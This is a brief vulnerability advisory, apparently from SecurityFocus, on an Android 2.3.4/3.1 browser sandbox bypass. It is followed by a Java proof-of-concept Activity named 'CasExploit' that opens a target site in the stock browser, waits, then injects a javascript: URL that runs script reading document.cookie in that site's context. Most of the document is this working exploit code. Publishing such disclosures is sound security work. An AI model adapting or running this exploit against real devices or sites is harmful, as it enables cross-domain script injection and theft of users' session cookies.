source: https://www.securityfocus.com/bid/48954/info
Open Handset Alliance Android is prone to a vulnerability that may allow a bypass of the browser sandbox.
Successful exploits will allow attackers to execute arbitrary script code within the context of an arbitrary domain.
Android 2.3.4 and 3.1 are vulnerable; prior versions may also be affected.
public class CasExploit extends Activity
{
static final String mPackage = "com.android.browser";
static final String mClass = "BrowserActivity";
static final String mUrl = "http://target.domain/";;
static final String mJavascript = "alert(document.cookie)";
static final int mSleep = 15000;
@Override
public void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
startBrowserActivity(mUrl);try{
Thread.sleep(mSleep);}catch(InterruptedException e){}
startBrowserActivity("javascript:"+ mJavascript);}
private void startBrowserActivity(String url){
Intent res = new Intent("android.intent.action.VIEW");
res.setComponent(new ComponentName(mPackage,mPackage+"."+mClass));
res.setData(Uri.parse(url));
startActivity(res);}}